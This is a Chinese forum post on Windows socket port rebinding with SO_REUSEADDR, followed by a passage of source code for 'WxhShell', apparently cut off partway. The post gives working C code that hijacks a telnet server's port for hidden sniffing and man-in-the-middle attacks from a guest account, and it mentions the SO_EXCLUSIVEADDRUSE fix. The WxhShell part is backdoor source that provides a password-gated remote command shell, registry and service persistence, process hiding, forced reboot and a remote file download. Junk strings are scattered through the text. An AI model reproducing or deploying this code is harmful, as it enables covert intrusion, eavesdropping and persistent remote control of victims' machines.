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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X'.}#R1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5p"n g8nR  
u$[ '}z0:  
  saddr.sin_family = AF_INET; 0vmMNF  
cy*Td7)/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >Mj :'  
En8-Hc#NC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1c&/&6 #5  
Jx1oK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6[wej$ u  
~[Mk QJxe  
  这意味着什么?意味着可以进行如下的攻击: (ZQ{%-i?qR  
]8ua>1XS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j+]>x]c0  
_o~<f)E[9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <8Nh dCO6  
}|H]>U&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (`GO@  
v3[Z ]+ ]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gg'lb{oG  
9X,dV7 yW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y oNg3  
T nAd!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d]VL( &  
\hQ[5>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cZ \#074u/  
wX8T;bo&  
  #include ~/Aw[>_;  
  #include XD{U5.z>y  
  #include 1""9+4  
  #include    !tCw)cou  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /u!I2DF  
  int main() ,d)!&y  
  { _ot4HmD  
  WORD wVersionRequested; h|yv*1/|  
  DWORD ret; LT!B]y  
  WSADATA wsaData; qWKpnofa  
  BOOL val; oc?,8I[P5  
  SOCKADDR_IN saddr; Ge@./SGT  
  SOCKADDR_IN scaddr; yU\&\fD>j  
  int err; \v9IbU*js  
  SOCKET s; ~-GgVi*I  
  SOCKET sc; u@}((V  
  int caddsize; T=:O(R1*0  
  HANDLE mt; \:8~na+(  
  DWORD tid;   )s,L:{<  
  wVersionRequested = MAKEWORD( 2, 2 ); !~04^(  
  err = WSAStartup( wVersionRequested, &wsaData ); p&B98c  
  if ( err != 0 ) { *rSMD_>  
  printf("error!WSAStartup failed!\n"); :g2?)Er-  
  return -1; Wd_bDZQ  
  } OZ&J'Y  
  saddr.sin_family = AF_INET; 24Z7;'  
   %Z 9<La  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !e&ZhtTuC  
+8."z"i3lE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r|:|\"Yk  
  saddr.sin_port = htons(23); Hhr/o~?;}#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j;<Yje&Wz  
  { -2o4v#d  
  printf("error!socket failed!\n"); cn v4!c0  
  return -1; gH Q[D|zu  
  } djS?$WBpU  
  val = TRUE; b(_PCVC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -_ .f&l8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bRJYw6oA<  
  { GbwcbfH  
  printf("error!setsockopt failed!\n"); ^6#FqK+{u  
  return -1; S9 <J \`FG  
  } \U4O*lq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VmF?8Vi4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6b9Ddb*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xYc)iH6&  
&1%W-&bc6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'j !!h4  
  { sDK lbb  
  ret=GetLastError(); P_j ?V"i<  
  printf("error!bind failed!\n"); [^A.$,  
  return -1; Jn +[:s.  
  } ^ox^gw)  
  listen(s,2); q5 I2dNE  
  while(1) 1B+MCt4  
  { Zd1+ZH  
  caddsize = sizeof(scaddr); /[VafR!  
  //接受连接请求 (BVLlOo?J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P.gk'\<k  
  if(sc!=INVALID_SOCKET) (;$ J5  
  { 'BpK(PlUh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pNcNU[c  
  if(mt==NULL) *SzP7]1m  
  { AEX]_1TG  
  printf("Thread Creat Failed!\n"); #57nm]?  
  break; oylY1~~}0K  
  } ^uW](2  
  } _ YWw7q  
  CloseHandle(mt); H?sl_3- #  
  } 9.qIhg  
  closesocket(s); >>rW-&  
  WSACleanup(); ?t'ZX~k  
  return 0; 3q R@$pm  
  }   Lt8chNi [  
  DWORD WINAPI ClientThread(LPVOID lpParam) XASoS5  
  { lJi'%bOi  
  SOCKET ss = (SOCKET)lpParam; 4-eb&  
  SOCKET sc; 0L $v7, 5  
  unsigned char buf[4096]; ZO2u[HSO>  
  SOCKADDR_IN saddr; *!,+%0  
  long num; _J 6|ju\  
  DWORD val; HelC_%#^  
  DWORD ret; c ^G\w+_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .6 !IO^`[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &0K; Vr~D  
  saddr.sin_family = AF_INET; <&n3"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <^U B@'lCm  
  saddr.sin_port = htons(23); 9U>ID{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LG [ 2u  
  { g^NdN46%  
  printf("error!socket failed!\n"); 5~<> h~yJ  
  return -1; k~>9,=::d  
  } DifRpj I-0  
  val = 100; N;>>HN[bBP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ') 5W  
  { IPbdX@FeV  
  ret = GetLastError(); 7I/Sfmqy"O  
  return -1; -g]/Ko]2@$  
  } 1.o-2:]E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s{NEP/QQJ  
  { p)f OAr  
  ret = GetLastError(); +Q_X,gZ  
  return -1; qBpv[m  
  } _{8f^@I"+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sRE$*^i  
  { Un]`Gd]:  
  printf("error!socket connect failed!\n"); aa_&WHXkt  
  closesocket(sc); hQ i[7r($8  
  closesocket(ss); y%|nE((  
  return -1; t ^&:45~Q  
  } Oo`P +S#  
  while(1) n]}+ :  
  { i92{N$*x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kI<C\ *N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^LfCLI9Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iH9g5G`O  
  num = recv(ss,buf,4096,0); $ N5VoK  
  if(num>0) k)'hNk"x  
  send(sc,buf,num,0); :M`|*~V~$  
  else if(num==0) q+x4Od3  
  break; Y)N(uv6  
  num = recv(sc,buf,4096,0); Y:FV+ SI  
  if(num>0) ,cWO Ak  
  send(ss,buf,num,0); Fla[YWS  
  else if(num==0) [@";\C_I  
  break; >f^&^28  
  } -3qB,KT  
  closesocket(ss); J{@gp,&e  
  closesocket(sc); PkLRQ}  
  return 0 ;  &{7n  
  } i`gsT[JQRX  
P~#!-9?  
X@b$C~+  
========================================================== :t(gD8;  
E(4ti]'4  
下边附上一个代码,,WXhSHELL jHT4I>\  
.hg<\-:_  
========================================================== H #J"'  
:u'X ~ID[  
#include "stdafx.h" }yLdU|'W  
;QR|v  
#include <stdio.h> 022YuqL<v  
#include <string.h> gu/eC  
#include <windows.h> bS&'oWy*B  
#include <winsock2.h> N(dn"`8  
#include <winsvc.h> blid* @-  
#include <urlmon.h> $ &qB,>5=X  
1i_~ZzX8  
#pragma comment (lib, "Ws2_32.lib") @?aNvWeavH  
#pragma comment (lib, "urlmon.lib") x]euNa  
s.6S :  
#define MAX_USER   100 // 最大客户端连接数 1HN_  
#define BUF_SOCK   200 // sock buffer DOkEWqM!  
#define KEY_BUFF   255 // 输入 buffer =oluw|TCe7  
 )"&-vg<  
#define REBOOT     0   // 重启 Z%`} `(  
#define SHUTDOWN   1   // 关机 Q[i;I bY  
x&l?Cfvv=  
#define DEF_PORT   5000 // 监听端口 GLwL'C'591  
BXa1 [7Z  
#define REG_LEN     16   // 注册表键长度 N Rcg~Nu  
#define SVC_LEN     80   // NT服务名长度 6vX+- f  
zf$OC}|\w  
// 从dll定义API 'M_8U0k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <eO 7b6_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F@ZG| &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 69cOdIt^D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ki^m&P   
wC{ =o`v  
// wxhshell配置信息 nv{ou [vQ  
struct WSCFG { L -b~#  
  int ws_port;         // 监听端口 u,PrEmy-  
  char ws_passstr[REG_LEN]; // 口令 CUnZ}@?d  
  int ws_autoins;       // 安装标记, 1=yes 0=no H5,{Z  
  char ws_regname[REG_LEN]; // 注册表键名 z Rz#0  
  char ws_svcname[REG_LEN]; // 服务名 8!3+Obj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @IB8(TZ5I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 To]WCFp6@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j6/ 3p|E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k5w+{iOh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |QAmN> 7U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8<^[xe  
zO2<Igb  
}; 18}L89S>  
bsr  
// default Wxhshell configuration (^qcX;-  
struct WSCFG wscfg={DEF_PORT, r4J4|&ym  
    "xuhuanlingzhe", #E^%h  
    1, Uk S86`.  
    "Wxhshell", pA4/ '7nCl  
    "Wxhshell", 01H3@0Q6  
            "WxhShell Service", >/6v` 8F  
    "Wrsky Windows CmdShell Service", /{>ds-;-  
    "Please Input Your Password: ", YxS*im[%]  
  1, S^I38gJd  
  "http://www.wrsky.com/wxhshell.exe", qI<*Cze  
  "Wxhshell.exe" tOnaD]J  
    }; :lgIu .  
\Y>^L{  
// 消息定义模块 1ikkm7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;r49H<z   
char *msg_ws_prompt="\n\r? for help\n\r#>"; d;D^<-[i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q1r\ 60M  
char *msg_ws_ext="\n\rExit."; [mw#a9  
char *msg_ws_end="\n\rQuit."; /%=#*/E7  
char *msg_ws_boot="\n\rReboot..."; xtpD/,2  
char *msg_ws_poff="\n\rShutdown..."; j[iJo 5  
char *msg_ws_down="\n\rSave to "; U,RIr8G  
Kl(}s{YFn.  
char *msg_ws_err="\n\rErr!"; ]K XknEaxl  
char *msg_ws_ok="\n\rOK!"; 0 v/+%%4}  
d^ipf*aLC  
char ExeFile[MAX_PATH]; A |NX"  
int nUser = 0; RZOk.~[v  
HANDLE handles[MAX_USER]; J-Sf9^G  
int OsIsNt; tI.(+-q  
g|)e3q{M  
SERVICE_STATUS       serviceStatus; (niZN_qv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qyt6+xL  
8uyVx9C0  
// 函数声明 Sl:\5]'yJ  
int Install(void); - /#3U{O  
int Uninstall(void); pm5Yc@D  
int DownloadFile(char *sURL, SOCKET wsh); qbqJ1^!6R  
int Boot(int flag); n0 !S;HH-  
void HideProc(void); ai#EFo+#  
int GetOsVer(void); ~+l%}4RZ  
int Wxhshell(SOCKET wsl); =\CbX  
void TalkWithClient(void *cs); +8Peh9"  
int CmdShell(SOCKET sock); "D3JdyO_S  
int StartFromService(void); S _ nTp)  
int StartWxhshell(LPSTR lpCmdLine); CtjjN=59  
o S_'@u.5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uKpl+>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 86R}G/>>e  
-6+HA9zz@C  
// 数据结构和表定义 pNVao{::5  
SERVICE_TABLE_ENTRY DispatchTable[] = G|3OB:  
{ rQKBT]?y  
{wscfg.ws_svcname, NTServiceMain}, 2q2wo&uK  
{NULL, NULL} .?AtW:<*I  
}; ?xN8 HG4  
>f`}CLsY  
// 自我安装 KgAc0pz{7H  
int Install(void) AuO%F YKY  
{ Q=uwmg86  
  char svExeFile[MAX_PATH]; -{7:^K[)  
  HKEY key; &hV;3";  
  strcpy(svExeFile,ExeFile); !ae@g q'  
`e`4[I  
// 如果是win9x系统,修改注册表设为自启动 -z'@Mh|i6l  
if(!OsIsNt) { 7yQ r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .P =!M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1$".7}M4$  
  RegCloseKey(key); Wz=ZhE9g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I]I5!\\&[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lFc3 5  
  RegCloseKey(key); HL88  
  return 0; m#8}!u&  
    } Bu 6t3  
  } K VQZ  
} I,  
else { }d6g{`  
QL|Vke:N4  
// 如果是NT以上系统,安装为系统服务 !u7WCw.Dm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1$xt=*.u|  
if (schSCManager!=0) *qz]vUb/0  
{ Ln`c DZSM  
  SC_HANDLE schService = CreateService ^.-P]I]  
  ( rWbL_1Eq  
  schSCManager, ?I7H ):  
  wscfg.ws_svcname, d%]7:  
  wscfg.ws_svcdisp, h[XGFz  
  SERVICE_ALL_ACCESS, 9^c_^-8n<}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZO}V}3  
  SERVICE_AUTO_START, -09<; U  
  SERVICE_ERROR_NORMAL, |/p ^e  
  svExeFile, 3%cNePlr  
  NULL, x;b'y4kH  
  NULL, sjaG%f&h  
  NULL, 5R o5Cg~  
  NULL, ` -w;=_Bm  
  NULL >fb*X'Zi%  
  ); \OY2|  
  if (schService!=0) m m`:ci  
  { xmVK{Q YT$  
  CloseServiceHandle(schService); 8,['q~z  
  CloseServiceHandle(schSCManager); FEdyh?$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c)E'',-J_2  
  strcat(svExeFile,wscfg.ws_svcname); j&44wuf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B\<zU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9cj=CuE  
  RegCloseKey(key); 2V~Yb1P  
  return 0; %mxG;w$  
    } $}HSU>,%  
  } W?6RUyMC$T  
  CloseServiceHandle(schSCManager); +x4o#N  
} $6Ty~.RP5H  
} 7L]fCw p[  
bgEUG  
return 1; y-Z*qR?  
} M4DRG%21  
L[O+9Yh  
// 自我卸载 -2Ub'*qK  
int Uninstall(void) 9I pjY~or  
{ +VU,U`W  
  HKEY key; +,PBhB  
.WtaU  
if(!OsIsNt) { F] ~`57  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I[F.M}5:z  
  RegDeleteValue(key,wscfg.ws_regname); uvm=i .  
  RegCloseKey(key); OSq"q-Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l'o'q7&=z  
  RegDeleteValue(key,wscfg.ws_regname); gbSZ- ej  
  RegCloseKey(key); wk-ziw  
  return 0; H"n"Q:Yp  
  } E%40u.0  
} {v2Q7ZO-  
} sRYFu%  
else { =o5hD,>e  
o#6j+fo!n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `qr[0wM  
if (schSCManager!=0) 'zpj_QM  
{ 5HJ6[.HO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f+F /`P%  
  if (schService!=0) wddF5EcK0  
  { ? 8'4~1g`}  
  if(DeleteService(schService)!=0) { "lUw{3  
  CloseServiceHandle(schService); Va !HcG1^:  
  CloseServiceHandle(schSCManager); FTk!Mn88  
  return 0; B04Br~hel*  
  } .CmwR$u&  
  CloseServiceHandle(schService); * SC~_  
  } ))k^7g9M`  
  CloseServiceHandle(schSCManager);  /@%  
} M)-+j{<  
} 8"p>_K=  
r$0" Y-a  
return 1; H!vvdp?Z  
} > Y[{m $-  
1UmV &  
// 从指定url下载文件 o&X!75^G>  
int DownloadFile(char *sURL, SOCKET wsh) kw1PIuz4&  
{ \:O5,wf2  
  HRESULT hr; am@\$Sa4  
char seps[]= "/"; i12iB+q  
char *token; #t{?WkO[  
char *file; '8dgYj  
char myURL[MAX_PATH]; ]@Zj-n8  
char myFILE[MAX_PATH]; B"8^5#t4s  
%>pglI  
strcpy(myURL,sURL); \|wV Ii  
  token=strtok(myURL,seps);  \ 1|T  
  while(token!=NULL) &@{ Ba~S  
  { =f{r+'[;^  
    file=token; ~KrzJp=5F  
  token=strtok(NULL,seps); 6rPe\'n=B  
  } /FB'  
w~1K93/p!  
GetCurrentDirectory(MAX_PATH,myFILE); N{E >R&,q  
strcat(myFILE, "\\"); _H%ylAt1j  
strcat(myFILE, file); l-M~e]  
  send(wsh,myFILE,strlen(myFILE),0); K b{  
send(wsh,"...",3,0); L2Mcs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9[8?'`m  
  if(hr==S_OK) pn'*w 1i  
return 0; $s?q>Z)  
else @8DA  
return 1; 2j( w*k q~  
m&o&XVC  
} PcJ,Y\"[  
^<ayPV)+  
// 系统电源模块 kOJs;k  
int Boot(int flag) [UFLL:_sC  
{ fMhMB |W.  
  HANDLE hToken; @hg1&pfxZ<  
  TOKEN_PRIVILEGES tkp; Elm/T]6  
pdmeB  
  if(OsIsNt) { L?0dZY-"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a^~l[HSF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MW`q*J`Yo  
    tkp.PrivilegeCount = 1; M~P}80I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V#5BZU-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~Kt.%K5lgt  
if(flag==REBOOT) { ")cdY) 14"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {:'e H  
  return 0;  27w]Q_C  
} 8n1Sy7K!;  
else { He&dVP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]< TgBo|  
  return 0; UB(Q &U_  
} |67<h5Q1  
  } aBol9`6  
  else { u[ "Pg  
if(flag==REBOOT) { O@?? NF6G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l[rIjyL@  
  return 0; EPdR-dC^wE  
} @S<=Okrlj  
else { ezy0m}@   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @[.%A;E4  
  return 0; l}Jf;C*j1z  
} kS3wa3bT  
} (<2PhJ|  
+KXg&A/^  
return 1; =U3 !D;XP  
} k`kmmb>  
"-(yZigQ  
// win9x进程隐藏模块 ADlPdkmym  
void HideProc(void) n16,u$|  
{ zj"J~s;?  
[C/h{WPC-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !</5 )B`5:  
  if ( hKernel != NULL ) |.)dOk,o  
  { f; >DM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7S1 Y)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9cX ~  
    FreeLibrary(hKernel); @yS  
  } o= N=W  
~kw[Aw3?D\  
return; -=O9D- x=  
} 4AzS~5S  
SJj0*ry:  
// 获取操作系统版本 ;R 'OdQ$o  
int GetOsVer(void) w6v P a  
{ p\1[cz)B  
  OSVERSIONINFO winfo; /dh w~|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $w#C;2k]N  
  GetVersionEx(&winfo); Y7]N.G3,]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |jF)~k6  
  return 1;  2o?!m2W  
  else  :v8j3=  
  return 0; vR-rCve$P  
} l 0jjLqm:  
Y(W>([59  
// 客户端句柄模块 RY&Wvkjh  
int Wxhshell(SOCKET wsl) )r5QOa/  
{ * t{A=Wk  
  SOCKET wsh; &*/8Ojv)9  
  struct sockaddr_in client; 7AHEzJh"  
  DWORD myID; oq(um:m  
asmMl9)(`  
  while(nUser<MAX_USER) L]9uY  
{ 9<}d98  
  int nSize=sizeof(client); C3hnX2";  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,]42v?  
  if(wsh==INVALID_SOCKET) return 1; HE7JQP!q  
gO1`zP!9Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3zGxe-  
if(handles[nUser]==0) ID E3>D  
  closesocket(wsh); F+v?2|03  
else 4(|x@: wxm  
  nUser++; =-1d m+P  
  } O jr{z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K{t7_i#tv  
%AXa(C\1  
  return 0; $ZH$x3;  
} JrQ*.lJj  
?_(0cVi  
// 关闭 socket KYu3dC'/,&  
void CloseIt(SOCKET wsh) [ % KBc}  
{ -=s7Q{O8Z  
closesocket(wsh); "!9~77  
nUser--; #4Xe zj,g*  
ExitThread(0); "Z#97Jc+J  
} w}K<,5I>  
0^?(;AK  
// 客户端请求句柄 :p%nQF,*f  
void TalkWithClient(void *cs) VfAIx]Fa  
{ vZq7U]RW  
oslV@v F  
  SOCKET wsh=(SOCKET)cs; )g(2xUk-y  
  char pwd[SVC_LEN]; i/NY86A  
  char cmd[KEY_BUFF]; cRDjpc]  
char chr[1]; ;.'2ZNt2  
int i,j; v%VCFJ  
VSc;}LH  
  while (nUser < MAX_USER) { B=JeZMn  
`7LN?- T  
if(wscfg.ws_passstr) { 4?jXbC k~x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {~.h;'m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i$?i1z*c}  
  //ZeroMemory(pwd,KEY_BUFF); 4Fgy<^94`  
      i=0; xbxU`2/  
  while(i<SVC_LEN) { q]`XUGC  
3^xTZ*G  
  // 设置超时 k?o(j/  
  fd_set FdRead; I)U|~N  
  struct timeval TimeOut; "|gNNmr  
  FD_ZERO(&FdRead); bT@3fuL4  
  FD_SET(wsh,&FdRead); /9/=]  
  TimeOut.tv_sec=8; #E3Y; b%v  
  TimeOut.tv_usec=0; aqK<}jy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iL\<G} I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  U(dT t  
= iB0ak  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q>cLGdzO  
  pwd=chr[0]; wwF]+w%lOw  
  if(chr[0]==0xd || chr[0]==0xa) { A84I*d  
  pwd=0; ]HgAI$aA,  
  break; !rlN|HB  
  } vClD)Ar  
  i++; / ~'ZtxA  
    } _Y40a+hk]  
Y4YA1F  
  // 如果是非法用户,关闭 socket 8B"jvrs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g|a2z_R  
} <*<7p{x  
~3dBt@%0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (x2I*<7P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 S$*YRp  
4(B{-cK  
while(1) { Z,.*!S=?h  
\SkCsE#H  
  ZeroMemory(cmd,KEY_BUFF); 6=3}gd5  
osB[KRT>("  
      // 自动支持客户端 telnet标准   ~vy_~|6s  
  j=0; CL5u{i5  
  while(j<KEY_BUFF) { cfyN)#9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S^HuQe!#  
  cmd[j]=chr[0]; I $!Y  
  if(chr[0]==0xa || chr[0]==0xd) { 4E}]>  
  cmd[j]=0; w^sM,c5d  
  break; @@9#od O  
  } (y7U}Sb'  
  j++; B9`nV.a  
    } sa36=:5x-  
w8:~LX.n  
  // 下载文件 1tHTjEG4^3  
  if(strstr(cmd,"http://")) { n a])bBn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d nWh}!  
  if(DownloadFile(cmd,wsh)) c!AGKc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N93 ZI|T  
  else 44B)=p7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ):E4qlB  
  } m/r4f279  
  else { Dtl381F J  
}A'QXtI/G  
    switch(cmd[0]) { Sp: `Z1kH  
  h`F8GNx(  
  // 帮助 |tC!`.^\  
  case '?': { f7mP4[+dS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "15mOW(!+  
    break; &uI`Xq.  
  } ;?"2sS!AHQ  
  // 安装 js/N qf2>  
  case 'i': { T.H S.  
    if(Install()) x>m_ v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #8z2>&:|  
    else yeqZPz n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W6_/FkO  
    break; b/5  
    } QXqBb$AXi,  
  // 卸载 \74+ cN  
  case 'r': { zp x  
    if(Uninstall()) ^P >; %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fn>MOD!l  
    else pi[:"}m]/P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .e%PK  
    break; 2JwR?<n{  
    } wyeiz7  
  // 显示 wxhshell 所在路径 ;  6Js   
  case 'p': { ~]a:9Ev*  
    char svExeFile[MAX_PATH]; f5<qF ]Y/  
    strcpy(svExeFile,"\n\r"); USy^Y?~ ;  
      strcat(svExeFile,ExeFile); ]f=108|8  
        send(wsh,svExeFile,strlen(svExeFile),0); P#-Ye<V~J(  
    break; d#cw`h<c~  
    } a^t#kdT  
  // 重启 2uu"0Rm%  
  case 'b': { %:yJ/&-Q,Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Vnv"= (  
    if(Boot(REBOOT)) ig3HPlC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); */fmy|#   
    else { Dp4\rps  
    closesocket(wsh); %GQPiWu  
    ExitThread(0); nm2bBX,fh  
    } ?a+>%uWt  
    break; ,r!_4|\  
    } $e1==@ R  
  // 关机 a[bu{Z]%  
  case 'd': { 42kr&UY&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); & F\HR  
